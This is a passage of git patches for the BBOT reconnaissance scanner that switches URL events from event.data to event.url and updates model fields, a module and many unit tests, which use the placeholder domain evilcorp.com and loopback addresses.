) async def handle_storage_bucket(self, event): diff --git a/bbot/modules/templates/subdomain_enum.py b/bbot/modules/templates/subdomain_enum.py index 36077f249e..3bdcdff07b 100644 --- a/bbot/modules/templates/subdomain_enum.py +++ b/bbot/modules/templates/subdomain_enum.py @@ -63,7 +63,7 @@ async def handle_event(self, event): "DNS_NAME", event, abort_if=self.abort_if, - context=f'{{module}} searched {self.source_pretty_name} for "{query}" and found {{event.type}}: {{event.data}}', + context=f'{{module}} searched {self.source_pretty_name} for "{query}" and found {{event.type}}: {{event.pretty_string}}', ) async def handle_event_paginated(self, event): @@ -81,7 +81,7 @@ async def handle_event_paginated(self, event): "DNS_NAME", event, abort_if=self.abort_if, - context=f'{{module}} searched {self.source_pretty_name} for "{query}" and found {{event.type}}: {{event.data}}', + context=f'{{module}} searched {self.source_pretty_name} for "{query}" and found {{event.type}}: {{event.pretty_string}}', ) async def request_url(self, query): diff --git a/bbot/modules/urlscan.py b/bbot/modules/urlscan.py index 975af786a4..9a09222fe2 100644 --- a/bbot/modules/urlscan.py +++ b/bbot/modules/urlscan.py @@ -30,7 +30,7 @@ async def handle_event(self, event): await self.emit_event( domain_event, abort_if=self.abort_if, - context=f'{{module}} searched urlscan.io API for "{query}" and found {{event.type}}: {{event.data}}', + context=f'{{module}} searched urlscan.io API for "{query}" and found {{event.type}}: {{event.pretty_string}}', ) parent_event = domain_event if url: @@ -41,7 +41,7 @@ async def handle_event(self, event): await self.emit_event( url_event, abort_if=self.abort_if, - context=f'{{module}} searched urlscan.io API for "{query}" and found {{event.type}}: {{event.data}}', + context=f'{{module}} searched urlscan.io API for "{query}" and found {{event.type}}: {{event.pretty_string}}', ) else: await self.emit_event( @@ -49,7 +49,7 @@ async def handle_event(self, event): "DNS_NAME", parent=event, abort_if=self.abort_if, - context=f'{{module}} searched urlscan.io API for "{query}" and found {{event.type}}: {{event.data}}', + context=f'{{module}} searched urlscan.io API for "{query}" and found {{event.type}}: {{event.pretty_string}}', ) else: self.debug(f"{url_event.host} does not match {query}") diff --git a/bbot/modules/viewdns.py b/bbot/modules/viewdns.py index f57bfaf7c3..89466ffea3 100644 --- a/bbot/modules/viewdns.py +++ b/bbot/modules/viewdns.py @@ -33,7 +33,7 @@ async def handle_event(self, event): "DNS_NAME", parent=event, tags=["affiliate"], - context=f'{{module}} searched viewdns.info for "{query}" and found {{event.type}}: {{event.data}}', + context=f'{{module}} searched viewdns.info for "{query}" and found {{event.type}}: {{event.pretty_string}}', ) async def query(self, query): diff --git a/bbot/modules/wayback.py b/bbot/modules/wayback.py index db1d7b3e67..49010f451a 100644 --- a/bbot/modules/wayback.py +++ b/bbot/modules/wayback.py @@ -34,7 +34,7 @@ async def handle_event(self, event): event_type, event, abort_if=self.abort_if, - context=f'{{module}} queried archive.org for "{query}" and found {{event.type}}: {{event.data}}', + context=f'{{module}} queried archive.org for "{query}" and found {{event.type}}: {{event.pretty_string}}', ) async def query(self, query): diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index 997b61ad00..50ce65534c 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -118,18 +118,18 @@ async def test_events(events, helpers): assert events.emoji not in events.ipv6_url_unverified assert events.url_unverified not in events.emoji - # URL normalization tests – compare against normalized event.data / .with_port().geturl() - assert scan.make_event("https://evilcorp.com:443", dummy=True).data == "https://evilcorp.com/" - assert scan.make_event("http://evilcorp.com:80", dummy=True).data == "http://evilcorp.com/" + # URL normalization tests – compare against normalized event.url / .with_port().geturl() + assert scan.make_event("https://evilcorp.com:443", dummy=True).url == "https://evilcorp.com/" + assert scan.make_event("http://evilcorp.com:80", dummy=True).url == "http://evilcorp.com/" assert "http://evilcorp.com:80/asdf.js" in scan.make_event("http://evilcorp.com/asdf.js", dummy=True) assert "http://evilcorp.com/asdf.js" in scan.make_event("http://evilcorp.com:80/asdf.js", dummy=True) - assert scan.make_event("https://evilcorp.com", dummy=True).data == "https://evilcorp.com/" - assert scan.make_event("http://evilcorp.com", dummy=True).data == "http://evilcorp.com/" - assert scan.make_event("https://evilcorp.com:80", dummy=True).data == "https://evilcorp.com:80/" - assert scan.make_event("http://evilcorp.com:443", dummy=True).data == "http://evilcorp.com:443/" + assert scan.make_event("https://evilcorp.com", dummy=True).url == "https://evilcorp.com/" + assert scan.make_event("http://evilcorp.com", dummy=True).url == "http://evilcorp.com/" + assert scan.make_event("https://evilcorp.com:80", dummy=True).url == "https://evilcorp.com:80/" + assert scan.make_event("http://evilcorp.com:443", dummy=True).url == "http://evilcorp.com:443/" assert scan.make_event("https://evilcorp.com", dummy=True).with_port().geturl() == "https://evilcorp.com:443/" assert scan.make_event("https://evilcorp.com:666", dummy=True).with_port().geturl() == "https://evilcorp.com:666/" - assert scan.make_event("https://evilcorp.com.:666", dummy=True).data == "https://evilcorp.com:666/" + assert scan.make_event("https://evilcorp.com.:666", dummy=True).url == "https://evilcorp.com:666/" assert scan.make_event("https://[bad::c0de]", dummy=True).with_port().geturl() == "https://[bad::c0de]:443/" assert scan.make_event("https://[bad::c0de]:666", dummy=True).with_port().geturl() == "https://[bad::c0de]:666/" url_event = scan.make_event("https://evilcorp.com", "URL", events.ipv4_url, tags=["status-200"]) @@ -491,9 +491,9 @@ async def test_events(events, helpers): assert scan.make_event("bob@xn--eckwd4c7c.xn--zckzah", dummy=True).data == "bob@xn--eckwd4c7c.xn--zckzah" assert scan.make_event("テスト@xn--eckwd4c7c.xn--zckzah", dummy=True).data == "テスト@xn--eckwd4c7c.xn--zckzah" assert scan.make_event("xn--eckwd4c7c.xn--zckzah:80", dummy=True).data == "xn--eckwd4c7c.xn--zckzah:80" - assert scan.make_event("http://xn--eckwd4c7c.xn--zckzah:80", dummy=True).data == "http://xn--eckwd4c7c.xn--zckzah/" + assert scan.make_event("http://xn--eckwd4c7c.xn--zckzah:80", dummy=True).url == "http://xn--eckwd4c7c.xn--zckzah/" assert ( - scan.make_event("http://xn--eckwd4c7c.xn--zckzah:80/テスト", dummy=True).data + scan.make_event("http://xn--eckwd4c7c.xn--zckzah:80/テスト", dummy=True).url == "http://xn--eckwd4c7c.xn--zckzah/テスト" ) @@ -501,9 +501,9 @@ async def test_events(events, helpers): assert scan.make_event("bob@ドメイン.テスト", dummy=True).data == "bob@xn--eckwd4c7c.xn--zckzah" assert scan.make_event("テスト@ドメイン.テスト", dummy=True).data == "テスト@xn--eckwd4c7c.xn--zckzah" assert scan.make_event("ドメイン.テスト:80", dummy=True).data == "xn--eckwd4c7c.xn--zckzah:80" - assert scan.make_event("http://ドメイン.テスト:80", dummy=True).data == "http://xn--eckwd4c7c.xn--zckzah/" + assert scan.make_event("http://ドメイン.テスト:80", dummy=True).url == "http://xn--eckwd4c7c.xn--zckzah/" assert ( - scan.make_event("http://ドメイン.テスト:80/テスト", dummy=True).data + scan.make_event("http://ドメイン.テスト:80/テスト", dummy=True).url == "http://xn--eckwd4c7c.xn--zckzah/テスト" ) # thai @@ -523,11 +523,11 @@ async def test_events(events, helpers): == "xn--12c1bik6bbd8ab6hd1b5jc6jta.com:80" ) assert ( - scan.make_event("http://xn--12c1bik6bbd8ab6hd1b5jc6jta.com:80", dummy=True).data + scan.make_event("http://xn--12c1bik6bbd8ab6hd1b5jc6jta.com:80", dummy=True).url == "http://xn--12c1bik6bbd8ab6hd1b5jc6jta.com/" ) assert ( - scan.make_event("http://xn--12c1bik6bbd8ab6hd1b5jc6jta.com:80/ทดสอบ", dummy=True).data + scan.make_event("http://xn--12c1bik6bbd8ab6hd1b5jc6jta.com:80/ทดสอบ", dummy=True).url == "http://xn--12c1bik6bbd8ab6hd1b5jc6jta.com/ทดสอบ" ) @@ -536,10 +536,10 @@ async def test_events(events, helpers): assert scan.make_event("ทดสอบ@เราเที่ยวด้วยกัน.com", dummy=True).data == "ทดสอบ@xn--12c1bik6bbd8ab6hd1b5jc6jta.com" assert scan.make_event("เราเที่ยวด้วยกัน.com:80", dummy=True).data == "xn--12c1bik6bbd8ab6hd1b5jc6jta.com:80" assert ( - scan.make_event("http://เราเที่ยวด้วยกัน.com:80", dummy=True).data == "http://xn--12c1bik6bbd8ab6hd1b5jc6jta.com/" + scan.make_event("http://เราเที่ยวด้วยกัน.com:80", dummy=True).url == "http://xn--12c1bik6bbd8ab6hd1b5jc6jta.com/" ) assert ( - scan.make_event("http://เราเที่ยวด้วยกัน.com:80/ทดสอบ", dummy=True).data + scan.make_event("http://เราเที่ยวด้วยกัน.com:80/ทดสอบ", dummy=True).url == "http://xn--12c1bik6bbd8ab6hd1b5jc6jta.com/ทดสอบ" ) diff --git a/docs/scanning/advanced.md b/docs/scanning/advanced.md index 79847aae63..ff35952f8e 100644 --- a/docs/scanning/advanced.md +++ b/docs/scanning/advanced.md @@ -84,7 +84,7 @@ Modules: -rf FLAG [FLAG ...], --require-flags FLAG [FLAG ...] Only enable modules with these flags (e.g. -rf passive) -ef FLAG [FLAG ...], --exclude-flags FLAG [FLAG ...] - Disable modules with these flags. (e.g. -ef noisy) + Disable modules with these flags. (e.g. -ef loud) Scan: -n SCAN_NAME, --name SCAN_NAME From 99ae4e187245fc133dbb65cfa99e838c77a47e23 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 24 Mar 2026 17:30:20 -0400 Subject: [PATCH 366/912] Fix remaining test failures from URL dict migration --- bbot/models/pydantic.py | 2 +- bbot/models/sql.py | 2 +- bbot/test/test_step_1/test_dns.py | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py index 8fa30097e3..712ad5a7a9 100644 --- a/bbot/models/pydantic.py +++ b/bbot/models/pydantic.py @@ -84,7 +84,7 @@ class Event(BBOTBaseModel): resolved_hosts: Optional[List] = None dns_children: Optional[dict] = None http_title: Optional[str] = None - web_spider_distance: int = 10 + web_spider_distance: Optional[int] = None scope_distance: int = 10 scan: Annotated[str, "indexed"] timestamp: Annotated[float, "indexed"] diff --git a/bbot/models/sql.py b/bbot/models/sql.py index d93634fcca..1c5d416945 100644 --- a/bbot/models/sql.py +++ b/bbot/models/sql.py @@ -91,7 +91,7 @@ def get_data(self): resolved_hosts: List = Field(default=[], sa_type=JSON) dns_children: dict = Field(default={}, sa_type=JSON) http_title: Optional[str] = None - web_spider_distance: int = 10 + web_spider_distance: Optional[int] = None scope_distance: int = Field(default=10, index=True) scan: str = Field(index=True) timestamp: float = Field(index=True) diff --git a/bbot/test/test_step_1/test_dns.py b/bbot/test/test_step_1/test_dns.py index 6f26b8b95f..9bb89c7070 100644 --- a/bbot/test/test_step_1/test_dns.py +++ b/bbot/test/test_step_1/test_dns.py @@ -802,13 +802,13 @@ async def test_dns_graph_structure(bbot_scanner): assert len(events) == 6 non_scan_events = [e for e in events if e.type != "SCAN"] assert sorted([e.type for e in non_scan_events]) == ["DNS_NAME", "DNS_NAME", "DNS_NAME", "URL_UNVERIFIED"] - events_by_data = {e.data: e for e in non_scan_events} + events_by_data = {e.pretty_string: e for e in non_scan_events} assert set(events_by_data) == {"https://evilcorp.com/", "evilcorp.com", "www.evilcorp.com", "test.evilcorp.com"} assert events_by_data["test.evilcorp.com"].parent.data == "www.evilcorp.com" assert str(events_by_data["test.evilcorp.com"].module) == "CNAME" assert events_by_data["www.evilcorp.com"].parent.data == "evilcorp.com" assert str(events_by_data["www.evilcorp.com"].module) == "CNAME" - assert events_by_data["evilcorp.com"].parent.data == "https://evilcorp.com/" + assert events_by_data["evilcorp.com"].parent.url == "https://evilcorp.com/" assert str(events_by_data["evilcorp.com"].module) == "host" From 7906990aaa8fa03eb3566d13c63192b99e5ae3f0 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 24 Mar 2026 17:38:14 -0400 Subject: [PATCH 367/912] Fix speculate passing URL dict to url_parents --- bbot/modules/internal/speculate.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/modules/internal/speculate.py b/bbot/modules/internal/speculate.py index 64995e504f..453ffe670d 100644 --- a/bbot/modules/internal/speculate.py +++ b/bbot/modules/internal/speculate.py @@ -143,7 +143,7 @@ async def handle_event(self, event): # speculate sub-directory URLS from URLS if event.type == "URL": - url_parents = self.helpers.url_parents(event.data) + url_parents = self.helpers.url_parents(event.url) for up in url_parents: url_event = self.make_event(f"{up}/", "URL_UNVERIFIED", parent=event) if url_event is not None: From eca3e941bfde6345542dcc10e36d1492b75d5c48 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 24 Mar 2026 17:48:19 -0400 Subject: [PATCH 368/912] ruff format --- bbot/test/test_step_1/test_events.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index 50ce65534c..73423810ea 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -503,8 +503,7 @@ async def test_events(events, helpers): assert scan.make_event("ドメイン.テスト:80", dummy=True).data == "xn--eckwd4c7c.xn--zckzah:80" assert scan.make_event("http://ドメイン.テスト:80", dummy=True).url == "http://xn--eckwd4c7c.xn--zckzah/" assert ( - scan.make_event("http://ドメイン.テスト:80/テスト", dummy=True).url - == "http://xn--eckwd4c7c.xn--zckzah/テスト" + scan.make_event("http://ドメイン.テスト:80/テスト", dummy=True).url == "http://xn--eckwd4c7c.xn--zckzah/テスト" ) # thai assert ( From 97cb6b71b93f85baeb3c46dd0d2c722bf9db671f Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 24 Mar 2026 18:25:51 -0400 Subject: [PATCH 369/912] Update tests for URL dict data and simplified cloud tags --- .../test_event_memory_benchmarks.py | 2 +- bbot/test/test_step_1/test_event_seeds.py | 6 +- .../test_manager_scope_accuracy.py | 182 +++++++++--------- bbot/test/test_step_1/test_scan.py | 8 +- .../module_tests/test_module_azure_tenant.py | 2 +- .../module_tests/test_module_baddns_direct.py | 2 +- .../module_tests/test_module_bevigil.py | 2 +- .../module_tests/test_module_censys_ip.py | 6 +- .../module_tests/test_module_cloudcheck.py | 29 +-- .../module_tests/test_module_dnsbimi.py | 2 +- .../module_tests/test_module_dnscaa.py | 2 +- .../module_tests/test_module_dnstlsrpt.py | 2 +- .../module_tests/test_module_excavate.py | 36 ++-- .../test_module_ffuf_shortnames.py | 16 +- .../module_tests/test_module_github_org.py | 2 +- .../module_tests/test_module_gowitness.py | 8 +- .../module_tests/test_module_httpx.py | 18 +- .../test_module_iis_shortnames.py | 2 +- .../module_tests/test_module_oauth.py | 2 +- .../module_tests/test_module_portfilter.py | 4 +- .../module_tests/test_module_robots.py | 6 +- .../module_tests/test_module_securitytxt.py | 8 +- .../module_tests/test_module_speculate.py | 2 +- .../module_tests/test_module_urlscan.py | 2 +- 24 files changed, 175 insertions(+), 176 deletions(-) diff --git a/bbot/test/benchmarks/test_event_memory_benchmarks.py b/bbot/test/benchmarks/test_event_memory_benchmarks.py index 6bed9be520..dca3b5521e 100644 --- a/bbot/test/benchmarks/test_event_memory_benchmarks.py +++ b/bbot/test/benchmarks/test_event_memory_benchmarks.py @@ -25,7 +25,7 @@ def setup_method(self): "a-record", "aaaa-record", "private-ip", - "cloud-azure", + "microsoft", "cdn", "open-port", "status-200", diff --git a/bbot/test/test_step_1/test_event_seeds.py b/bbot/test/test_step_1/test_event_seeds.py index 5a6ada3e25..42f812ac3d 100644 --- a/bbot/test/test_step_1/test_event_seeds.py +++ b/bbot/test/test_step_1/test_event_seeds.py @@ -81,7 +81,7 @@ def test_event_seeds(): # URL (DNS_NAME) url_dns_seed = EventSeed("http://evilcOrp.com./index.html?a=b#c") assert url_dns_seed.type == "URL_UNVERIFIED" - assert url_dns_seed.data == "http://evilcorp.com/index.html?a=b" + assert url_dns_seed.url == "http://evilcorp.com/index.html?a=b" assert url_dns_seed.host == "evilcorp.com" assert url_dns_seed.port == 80 assert url_dns_seed.input == "http://evilcorp.com/index.html?a=b" @@ -89,7 +89,7 @@ def test_event_seeds(): # URL (IPv4) url_ipv4_seed = EventSeed("https://192.168.1.1/index.html?a=b#c") assert url_ipv4_seed.type == "URL_UNVERIFIED" - assert url_ipv4_seed.data == "https://192.168.1.1/index.html?a=b" + assert url_ipv4_seed.url == "https://192.168.1.1/index.html?a=b" assert url_ipv4_seed.host == ipaddress.ip_address("192.168.1.1") assert url_ipv4_seed.port == 443 assert url_ipv4_seed.input == "https://192.168.1.1/index.html?a=b" @@ -97,7 +97,7 @@ def test_event_seeds(): # URL (IPv6) url_ipv6_seed = EventSeed("https://[2001:db8::42]:8080/index.html?a=b#c") assert url_ipv6_seed.type == "URL_UNVERIFIED" - assert url_ipv6_seed.data == "https://[2001:db8::42]:8080/index.html?a=b" + assert url_ipv6_seed.url == "https://[2001:db8::42]:8080/index.html?a=b" assert url_ipv6_seed.host == ipaddress.ip_address("2001:db8::42") assert url_ipv6_seed.port == 8080 assert url_ipv6_seed.input == "https://[2001:db8::42]:8080/index.html?a=b" diff --git a/bbot/test/test_step_1/test_manager_scope_accuracy.py b/bbot/test/test_step_1/test_manager_scope_accuracy.py index 8d41f5a1fa..161fad5958 100644 --- a/bbot/test/test_step_1/test_manager_scope_accuracy.py +++ b/bbot/test/test_step_1/test_manager_scope_accuracy.py @@ -342,10 +342,10 @@ def custom_setup(scan): assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) - assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/"]) - assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"]) + assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/"]) + assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/"]) assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) @@ -355,10 +355,10 @@ def custom_setup(scan): assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) @@ -368,10 +368,10 @@ def custom_setup(scan): assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) @@ -382,10 +382,10 @@ def custom_setup(scan): assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/"]) assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) @@ -414,16 +414,16 @@ def custom_setup(scan): assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) - assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/"]) - assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"]) + assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/"]) + assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/"]) assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) - assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.77:8888"]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) - assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"]) + assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/"]) assert len(all_events) == 18 assert 1 == len([e for e in all_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) @@ -431,16 +431,16 @@ def custom_setup(scan): assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) assert len(all_events_nodups) == 16 assert 1 == len([e for e in all_events_nodups if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) @@ -448,16 +448,16 @@ def custom_setup(scan): assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and 